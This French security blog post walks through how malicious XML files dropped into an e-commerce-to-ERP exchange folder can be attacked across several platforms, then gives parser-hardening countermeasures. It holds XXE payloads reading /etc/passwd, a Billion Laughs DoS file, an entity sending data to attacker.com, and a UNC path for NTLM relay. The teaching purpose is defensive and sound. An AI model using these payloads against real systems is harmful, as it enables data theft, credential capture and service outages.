Le XML, c’est propre, structuré… et incroyablement dangereux mal utilisé.

Aujourd’hui chez SecuSlice, on ne va pas parler ransomware, phishing ou zero-day. On sort les cahiers de vacances…
Non. On va parler d’un bon vieux classique : le fichier XML.
Celui qui semble inoffensif… jusqu’à ce qu’il fasse tomber un ERP, exfiltrer un token Cloud ou déclencher un NTLM relay digne des meilleurs pentests.

Accrochez vos parseurs, on part dans le RETEX le plus “bien formé” de l’année.

🌐 Introduction & Environnement

Contexte

Notre scénario se déroule dans une entreprise disposant :

🛒 D’un site marchand générant des fichiers XML pour transmettre les commandes confirmées à l’ERP

📂 D’un répertoire d’échange (partage réseau ou SFTP) où les fichiers sont déposés

🏭 D’un ERP qui lit ces fichiers pour :

• ✅ Mettre à jour les statuts des commandes
• ✅ Déclencher facturation et logistique

Flux simplifié :

Site marchand → Génération XML → Dépôt sur répertoire d’échange → 
ERP lit le fichier XML → Traitement commandes

Plateformes présentes

L’environnement comporte plusieurs stacks, ce qui multiplie les surfaces d’attaque :

1. 💻 Windows (.NET / ERP propriétaire)
   • Traitement des fichiers XML par un service ERP ou un batch C#
   • Souvent via un partage SMB (\\serveur\erp\incoming)
2. 🐧Linux (PHP / Python / Middleware)
   • Scripts de traitement de fichiers XML ou transformation XSLT
   • Échanges via NFS ou SFTP
3. ☁️ Cloud (AWS / Azure / GCP)
   • Stockage temporaire sur S3 ou Blob Storage avant traitement serverless
   • Parsing via Lambda / Function ou service managé
4. 🏢IBM i (AS/400)
   • Dépôt des fichiers XML sur l’IFS (/home/erp/incoming)
   • Traitement via des jobs RPG ou COBOL
5. 🌐Web (PHP / Node.js / Python)
   • Portails ou microservices qui reçoivent des XML pour intégration
6. ☕Java (Spring, Tomcat, WebLogic)
   • Traitement XML avec JAXB, SAX ou DOM
   • Souvent en back-end d’ERP ou de middleware

💥Surface d’attaque identifiée

• Aucune validation stricte des fichiers XML entrants
• Absence de chiffrement ou signature des fichiers déposés
• Parseurs XML parfois configurés par défaut, donc vulnérables à :
  • XXE (XML External Entities)
  • Billion Laughs (DoS mémoire)
  • Encodage exotiques provoquant crash ou lecture incorrecte
  • Exfiltration de fichiers internes ou NTLM relay sur Windows

🎯Objectif de ce RETEX SecuSlice :
Montrer comment un simple fichier XML piégé peut :

1. 💀 Planter un ERP (DoS)
2. 📤 Exfiltrer des données (XXE, NTLM relay, SSRF)
3. 🕵️ Provoquer des impacts financiers ou réputationnels

⚠️ Avertissement SecuSlice :
Les techniques et payloads présentés dans cet article sont destinés uniquement à un usage pédagogique et en laboratoire.
Ne testez jamais ces attaques sur un environnement de production ou un système dont vous n’êtes pas responsable.
L’exploitation non autorisée de ces techniques est illégale et peut entraîner des poursuites pénales.

2️⃣ Scénario d’attaque n°1 – Injection XML simple 🐣

2.1. Flux normal

Dans l’environnement étudié, un flux XML typique ressemble à ceci :

xml
<commandes>
    <commande>
        <id>CMD12345</id>
        <client>Durand</client>
        <montant>250.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>

1. Le site marchand dépose ce fichier sur le répertoire d’échange (ex. \\serveur\erp\incoming)
2. L’ERP lit le fichier, met à jour la commande dans sa base et passe à la suivante
3. Tout est normal, log propre, pas d’erreur ✅

2.2. Injection d’un fichier XML piégé

Un attaquant, ayant accès au répertoire d’échange ou ayant compromis le site marchand, remplace ou ajoute un fichier XML malveillant.

Exemple 1 : XXE (XML External Entity)

xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<commandes>
    <commande>
        <id>CMD99999</id>
        <client>&xxe;</client>
        <montant>9999.99</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>

Effet concret :

• L’ERP va tenter de parser le fichier
• Le moteur XML tente de résoudre l’entité &xxe; → lit /etc/passwd (sous Linux) ou C:\Windows\win.ini sous Windows
• Si l’ERP journalise ou transmet le contenu → fuite de données immédiate

Exemple 2 : Billion Laughs Attack (DoS mémoire)

xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;">
]>
<commandes>
    <commande>
        <id>&lol3;</id>
    </commande>
</commandes>

Effet concret :

• Chaque entité se démultiplie exponentiellement
• Le parseur XML consomme toute la RAM
• Résultat :
  1. Crash ERP
  2. Blocage des traitements
  3. Potentiel DoS prolongé si l’ERP relit le fichier à chaque redémarrage

2.3. Impact concret ➡️

• ERP indisponible pendant plusieurs minutes/heures
• Blocage de la chaîne de commandes → perte de CA
• Fuite de fichiers internes si les logs sont accessibles
• Aucune alerte SIEM si l’attaque est interne et silencieuse

⚡ Retex sécurité :
Ce scénario montre qu’un fichier XML piégé, déposé dans un répertoire d’échange, suffit pour provoquer une indisponibilité ou une fuite de données si :

• L’ERP ne valide pas ses entrées
• Les entités externes ne sont pas désactivées
• Les parseurs XML ne sont pas limités en mémoire et profondeur

3️⃣ Scénario d’attaque n°2 – XXE avancée + Exfiltration 🎯

3.1. Objectif de l’attaquant

Après avoir vu que le simple DoS XML fonctionne, l’attaquant veut :

1. 📤Récupérer des informations internes (fichiers sensibles, credentials)
2. 🔗Faire sortir ces données vers un serveur qu’il contrôle
3. 💥Exploiter les mécanismes Windows pour élever ses privilèges (NTLM relay)

3.2. Préparation de l’attaque

1. L’attaquant déploie un serveur malveillant externe
   • Sur Internet ou sur le LAN compromis
   • Capable de recevoir des requêtes HTTP ou SMB
2. Création d’un fichier XML piégé avec XXE
   • On cible l’exfiltration réseau (vers HTTP externe)
   • Ou le déclenchement d’une authentification Windows (NTLM relay)

Exemple 1 : XXE + Exfiltration HTTP

<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "http://attacker.com:8080/?data=/etc/passwd">
]>
<commandes>
    <commande>
        <id>CMD666</id>
        <client>&xxe;</client>
        <montant>666.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>

• Effet :
  1. L’ERP lit le fichier
  2. Le parseur XML tente de résoudre &xxe;
  3. Il appelle http://attacker.com:8080 en transmettant le contenu du fichier ciblé
  4. Données exfiltrées discrètement vers l’attaquant

Exemple 2 : XXE + NTLM relay (spécifique Windows)

xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "\\attacker\share\file">
]>
<commandes>
    <commande>
        <id>CMD777</id>
        <client>&xxe;</client>
        <montant>777.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>

• Effet :
  1. L’ERP tente de lire \\attacker\share\file
  2. Windows initie une authentification NTLM vers le serveur de l’attaquant
  3. L’attaquant capture le hash NTLM et tente un relay ou crack offline
  4. Prise de contrôle potentielle sur d’autres ressources internes si NTLM n’est pas protégé

3.3. Schéma de Kill Chain

Le scénario complet se visualise comme suit :

Attaquant
    ↓
Dépose un XML piégé (XXE/UNC)
    ↓
Répertoire d’échange
    ↓
ERP parse le XML
    ↓
→ Soit DoS (Billion Laughs)
→ Soit Exfiltration HTTP
→ Soit NTLM relay vers \\attacker\share

3.4. Impact concret

• Exfiltration silencieuse de fichiers internes (passwd, configs, logs)
• Compromission Windows via NTLM relay → possible escalade AD
• Indisponibilité ERP si DoS en parallèle
• Potentiel pivot vers d’autres serveurs si le réseau interne est plat

💡 Retex sécurité :
Ce scénario prouve qu’une XXE combinée à un exfil réseau peut rapidement :

• Passer d’un simple DoS à une intrusion réseau complète
• Exploiter des comportements par défaut Windows pour voler des identifiants

4️⃣Analyse multi-plateformes 🔍

4.1. Windows (ERP .NET ou batch C#)

Environnement typique

• ERP installé sur Windows Server
• Lecture des XML depuis un partage SMB (\\serveur\erp\incoming)
• Parsing via MSXML ou System.Xml (C#)
• Authentification NTLM activée par défaut sur tout le domaine

Vecteurs d’attaque

• XXE vers fichier local : C:\Windows\win.ini
• XXE vers UNC path → NTLM relay
• Billion Laughs / Quadratic Blowup → DoS service ERP

Pourquoi Windows est fragile

• Parseurs XML compatibles entités externes par défaut
• NTLM accepte les authentifications sortantes → exploitable via UNC
• Si l’ERP tourne en compte domaine, l’attaquant peut rebondir sur l’AD

Impact

• Exfiltration fichiers sensibles
• Compromission Active Directory (via NTLM relay)
• Blocage complet du service ERP

4.2. Linux (PHP, Python, Middleware open source)

Environnement typique

• Scripts PHP (SimpleXML/DOMDocument), Python (lxml)
• Échange de fichiers via NFS ou SFTP
• Parsers souvent par défaut, rarement sécurisés

Vecteurs d’attaque

• XXE vers /etc/passwd ou /proc/self/environ
• Billion Laughs pour saturer la mémoire
• Encodage exotique (UTF-7/UTF-16) pour provoquer un crash silencieux

Pourquoi Linux est fragile

• Services souvent non supervisés
• Pas de limitation mémoire par défaut dans les parseurs open source
• Scripts maison rarement protégés par XSD

Impact

• Fuite d’informations système
• DoS applicatif si XML volumineux ou récursif
• Blocage de flux métiers si pas de retry intelligent

4.3. Cloud (AWS / Azure / GCP)

Environnement typique

• Fichiers XML déposés dans S3 / Blob Storage
• Traitement via Lambda, Functions ou App Service
• Parsing avec librairies standard du langage (Java, Python, Node)

Vecteurs d’attaque

• XXE vers Metadata Service (169.254.169.254)
  • Exfiltration des tokens IAM ou Managed Identity Azure
• Billion Laughs → explosion du coût serverless
• SSRF vers d’autres services Cloud (Redis, RDS, API internes)

Pourquoi le Cloud est sensible

• Services exposés internes (metadata) accessibles sans firewall
• Elasticité économique : une attaque DoS = facture qui grimpe
• Logs souvent désynchronisés, rendant l’attaque difficile à détecter

Impact

• Exfiltration credentials Cloud → pivot dans tout le tenant
• Surcoût financier (scaling non voulu)
• Potentiel accès aux buckets / bases Cloud internes

4.4. IBM i (AS/400)

Environnement typique

• Dépôt des XML dans IFS (/home/erp/incoming)
• Traitement via jobs RPG ou COBOL
• Parsers XML intégrés ou librairies Java sur PASE

Vecteurs d’attaque

• XML mal formé → job planté
• Billion Laughs → saturation CPU / mémoire du job
• XXE vers IFS → lecture de /QOpenSys/etc/hosts

Pourquoi IBM i est à risque

• Applications legacy rarement mises à jour
• Validation XSD quasi inexistante
• Jobs sensibles au moindre parsing incorrect → DoS très simple

Impact

• Plantage des jobs RPG → ERP bloqué
• Fuite fichiers IFS si logs exportés
• Difficulté de reprise car jobs doivent être relancés manuellement

4.5. Web (PHP / Node.js / Python)

Environnement typique

• Applications web qui ingèrent des XML via upload ou API REST
• Parsing côté serveur avec SimpleXML, xml2js, ou lxml

Vecteurs d’attaque

• XXE pour lecture de fichiers locaux ou SSRF interne
• Billion Laughs pour saturer le serveur web
• Encodages piégés pour provoquer des erreurs de parsing

Pourquoi vulnérable

• Parseurs activent XXE par défaut (PHP < 8, Python lxml, Node.js xml2js)
• Pas de sandbox : si le service web tombe, c’est tout le site qui tombe
• Peu de limitation mémoire / taille de fichier côté upload

Impact

• Fuite de données serveur
• Blocage total du site marchand
• Pivot vers le réseau interne si SSRF réussi

4.6. Java (Spring / Tomcat / WebLogic)

Environnement typique

• Middleware ERP ou intégration qui consomme des XML
• Parsing via JAXB, SAX, DOM, Xerces

Vecteurs d’attaque

• XXE (lecture locale + SSRF)
• Billion Laughs / Quadratic Blowup → OOM JVM
• Sérialisation XML malveillante → RCE possible si XStream ou libs vulnérables

Pourquoi Java est critique

• Librairies XML anciennes si non patchées
• Garbage Collector saturé par les attaques DoS XML
• Services souvent exposés à d’autres flux XML internes ou externes

Impact

• Crash JVM complet
• Fuite fichiers sensibles / accès réseau interne
• Potentiel RCE si sérialisation non sécurisée

💡 Analyse globale :

• Windows et Cloud sont les plus critiques pour l’exfiltration et le pivot
• Linux et IBM i sont faciles à planter mais moins intéressants pour l’attaquant si pas de logs accessibles
• Java et Web sont des passerelles vers d’autres systèmes → risque majeur si réseau interne plat

Vue multi-plateformes & Faiblesses 🔍

5️⃣ Bonnes pratiques & Contre-mesures 🛡️

5.1. Objectif des contre-mesures

Les attaques XML piégées (XXE, Billion Laughs, encodages exotiques) ciblent :

• Les parseurs XML non sécurisés
• Les systèmes sans contrôle d’intégrité sur les flux
• Les environnements exposés au réseau interne ou externe

Objectif SecOps :

• Empêcher l’exécution des entités externes
• Limiter l’impact mémoire / CPU
• Détecter rapidement une tentative d’exfiltration ou de DoS

5.2. Bonnes pratiques globales

Sécurisation des flux

• Toujours valider les fichiers XML avec un XSD avant traitement
• Rejeter tout fichier non conforme (taille, schéma, nommage)
• Signer ou hacher les fichiers pour garantir leur intégrité
• Transfert chiffré (SFTP, HTTPS) et répertoire d’échange sécurisé

Durcissement du parsing XML

• Désactiver les entités externes (XXE)
• Limiter la taille et la profondeur des fichiers XML
• Activer des quotas mémoire / CPU sur les parseurs
• Logger toute erreur de parsing et mettre en quarantaine le fichier

Surveillance et réponse

• SIEM / SOC : alertes sur
  • Tentatives de lecture UNC
  • Dépassement mémoire JVM / .NET
  • Appels vers 169.254.169.254 (Cloud metadata)
• Sandbox XML pour tester les fichiers suspects avant traitement en prod
• Plan de reprise si l’ERP tombe suite à parsing malveillant

5.3. Bonnes pratiques par stack

💻 Windows (.NET / ERP)

Mesures spécifiques :

• Désactiver DTD et XXE dans MSXML :

csharp
var settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

• Bloquer les accès UNC sortants depuis le serveur ERP
• Isoler le compte de service ERP (pas de privilèges AD élevés)
• Journaliser les erreurs XML dans l’Event Viewer + SIEM

🐧 Linux (PHP / Python / Middleware)

Mesures spécifiques :

• PHP :

 php
libxml_disable_entity_loader(true);

• Python lxml :

 python
parser = etree.XMLParser(resolve_entities=False)

• Limiter la taille des fichiers XML à quelques Mo
• Superviser l’usage CPU/RAM des jobs de parsing

☁️ Cloud (AWS / Azure / GCP)

Mesures spécifiques :

• Bloquer l’accès direct au Metadata Service si inutile
  • AWS : utiliser IMDSv2
  • Azure : restreindre 169.254.169.254 dans NSG/VPC
• Quota mémoire & timeout strict sur Lambda / Functions
• Surveiller les coûts → alerte sur scaling inhabituel
• Scanner les buckets S3 / Blob Storage pour détecter XML suspects

🏢 IBM i (AS/400)

Mesures spécifiques :

• Valider les XML avant de lancer les jobs RPG/COBOL
• Isoler les jobs sensibles dans une sous-queue
• Surveiller l’IFS pour détecter fichiers suspects
• Mettre en place une purge automatique des fichiers invalides

🌐 Web (PHP / Node.js / Python)

Mesures spécifiques :

• Bloquer XXE dans tous les parseurs
• Limiter la taille d’upload XML et filtrer l’extension
• Stocker les fichiers en sandbox avant traitement
• Monitorer les erreurs 500 qui peuvent indiquer un DoS XML

☕ Java (Spring / Tomcat / WebLogic)

Mesures spécifiques :

• Désactiver les entités externes :

Java
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

• Limiter mémoire JVM et profondeur DOM
• Mettre à jour les librairies XML (Xerces, JAXB)
• Surveiller OOM (OutOfMemory) dans les logs applicatifs

🎯 5.4. Retex final pour SecuSlice

Message clé :

“Un fichier XML piégé peut suffire à faire tomber un ERP, exfiltrer des données internes ou ouvrir la voie à une compromission réseau complète.
Les parseurs XML doivent être durcis, les flux contrôlés, et les environnements isolés selon le principe du moindre privilège.”

😎 Bientôt on parlera de la même chose mais avec JSON

JSON “Billion Nesting” (DoS mémoire)

json
{
  "commande": {
    "id": "CMD9999",
    "details": {
      "sub1": { "sub2": { "sub3": { "sub4": { "sub5": {} } } } }
    }
  }
}

• Effet : profondeur exponentielle → certains parseurs vont exploser en mémoire ou CPU
• Variante : fichiers JSON de plusieurs centaines de Mo → saturation serveur

Partager cet article : Twitter LinkedIn WhatsApp

🖋️ Publié sur SecuSlice.com